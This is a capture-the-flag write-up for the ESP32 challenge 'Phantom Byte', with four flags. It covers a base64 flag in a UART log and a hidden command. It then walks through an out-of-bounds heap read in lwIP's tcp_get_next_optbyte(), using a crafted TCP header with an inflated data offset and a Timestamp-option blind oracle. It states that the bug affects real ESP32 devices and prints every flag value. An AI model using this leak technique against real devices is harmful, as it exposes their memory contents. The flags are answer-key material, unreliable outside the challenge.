ESPILON-CTF-2026-Writeups/ESP/Phantom_Byte/README.md

226 lines
5.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Phantom Byte
| Field | Value |
|-------|-------|
| Category | ESP |
| Difficulty | Multi-part (Easy to Hard) |
| Points | 100 / 200 / 300 / 500 (4 flags) |
| Author | Eun0us |
| CTF | Espilon 2026 |
---
## Description
An ESP32 device was seized during a raid on an underground hackerspace.
It is a relay node for a mesh network called **"The Wire"**.
The node's WiFi AP is still broadcasting. A debug probe is exposed on its TCP input path.
*Peel back the layers. Extract every secret this node is hiding.*
**WiFi:** `Phantom_Node` / `thewire2026`
**Service:** `tcp://192.168.4.1:1337`
*"Close this world. Open the nEXt."*
---
## TL;DR
Four-layer progressive challenge based on a **real lwIP vulnerability** in
`tcp_get_next_optbyte()`. Layer 1: read base64 from UART boot log. Layer 2: find
a hidden command. Layer 3: heap-leak via crafted TCP option header (trace mode). Layer 4:
blind extraction using the TCP Timestamp option as an oracle.
---
## Tools
| Tool | Purpose |
|------|---------|
| `esptool.py` | Flash firmware to ESP32 |
| `screen` / `minicom` | Read UART boot log |
| `nc` | Connect to TCP service on port 1337 |
| Python 3 | Automated exploit / solve script |
---
## Flags Summary
| Flag | Name | Points | Value |
|------|------|--------|-------|
| 1/4 | Signal | 100 | `ESPILON{u4rt_s33s_4ll}` |
| 2/4 | Backdoor | 200 | `ESPILON{h1dd3n_c0nf1g}` |
| 3/4 | Memory Bleed | 300 | `ESPILON{ph4nt0m_byt3_h34p_l34k}` |
| 4/4 | Blind Oracle | 500 | `ESPILON{bl1nd_str4ddl3}` |
---
## Solution
### Setup
Flash firmware, connect to WiFi AP `Phantom_Node` / `thewire2024`, then:
```bash
nc 192.168.4.1 1337
```
---
### Flag 1 — Signal (100 pts)
Monitor the UART output during boot. Among the diagnostic lines:
```
[ 0.089] DIAG:b64:RVNQSU9Me3U0cnRfczMzc180bGx9
```
Decode the base64:
```bash
echo "RVNQSU9Me3U0cnRfczMzc180bGx9" | base64 -d
# ESPILON{u4rt_s33s_4ll}
```
> 📸 `[screenshot: UART terminal showing the base64 diagnostic line on boot]`
Submit over TCP:
```text
ph> unlock ESPILON{u4rt_s33s_4ll}
>> sequence accepted.
>> layer 2 unlocked. you're getting closer to the wire.
```
---
### Flag 2 — Backdoor (200 pts)
In layer 2, `help` lists the documented commands. The `mem` output hints:
```
ph> mem
>> secrets cached in the wire
```
And `info` shows:
```
>> backdoor: [CLASSIFIED]
```
The hidden command is `wire`:
```text
ph> wire
>> accessing the wire...
>> config_cache dump:
>> ESPILON{h1dd3n_c0nf1g}
```
> 📸 `[screenshot: wire command revealing the hidden config cache contents]`
Submit:
```text
ph> unlock ESPILON{h1dd3n_c0nf1g}
>> layer 3 unlocked. careful. the deeper you go, the less you come back.
```
---
### Flag 3 — Memory Bleed (300 pts)
In layer 3, enable debug tracing:
```text
ph> trace on
>> trace enabled.
```
The vulnerability: `tcp_get_next_optbyte()` uses `doff * 4` as the claimed option
length without checking that it stays within the actual received segment bytes. Build
a 20-byte TCP header with Data Offset = 15 (claims 40 option bytes, 20 more than present):
```
Bytes 12-13: F002 (doff=15, flags=SYN)
Full: 053900500000000100000000f002ffff00000000
```
```text
ph> inject 053900500000000100000000f002ffff00000000
```
The trace output shows each out-of-bounds byte read from the adjacent `config_cache`:
```
[TRACE] tcp_get_next_optbyte:
[ 20] 0x45 << oob
[ 21] 0x53 << oob
[ 22] 0x50 << oob
[ 23] 0x49 << oob
...
```
Convert the oob bytes to ASCII: `ESPILON{ph4nt0m_byt3_h34p_l34k}`
> 📸 `[screenshot: trace output showing oob bytes reading the flag from heap]`
---
### Flag 4 — Blind Oracle (500 pts)
Disable trace output — no more per-byte visibility:
```text
ph> trace off
```
The vulnerability still exists, but now the only feedback is the **parsed option
values** emitted as structured output. Use the TCP Timestamp option (kind=8, len=10)
to straddle the segment boundary. The 8 data bytes (TSval + TSecr) are read from OOB
heap memory, but their values are returned as decimal numbers in the response.
**Extraction technique:**
Place the Timestamp kind+len bytes as the last 2 in-bounds bytes. The 8 value bytes
are read from the adjacent flag buffer.
- Chunk 1 (bytes 07): `>> opt: TS=1163150159/1280267387`
- `1163150159 = 0x45535049``ESPI`
- `1280267387 = 0x4C4F4E7B``LON{`
- Chunk 2 (bytes 815): decode TSval/TSecr → `bl1n` / `d_st`
- Chunk 3 (bytes 1622): decode TSval/TSecr → `r4dd` / `l3}\x00`
Reconstruct: `ESPILON{bl1nd_str4ddl3}`
> 📸 `[screenshot: inject command returning TS values that decode to flag bytes]`
Automated solver:
```bash
python3 solve.py 192.168.4.1 1337
```
---
## Real-world Context
This challenge is based on a **real vulnerability** found in lwIP 2.1.3 (ESP-IDF v5.3).
The function `tcp_get_next_optbyte()` in `tcp_in.c` does not validate that the option
index stays within the pbuf's actual payload length. A remote attacker can send a crafted
TCP packet to any ESP32 with an open TCP port and leak adjacent heap memory.
---
## Flag
- Flag 1: `ESPILON{u4rt_s33s_4ll}`
- Flag 2: `ESPILON{h1dd3n_c0nf1g}`
- Flag 3: `ESPILON{ph4nt0m_byt3_h34p_l34k}`
- Flag 4: `ESPILON{bl1nd_str4ddl3}`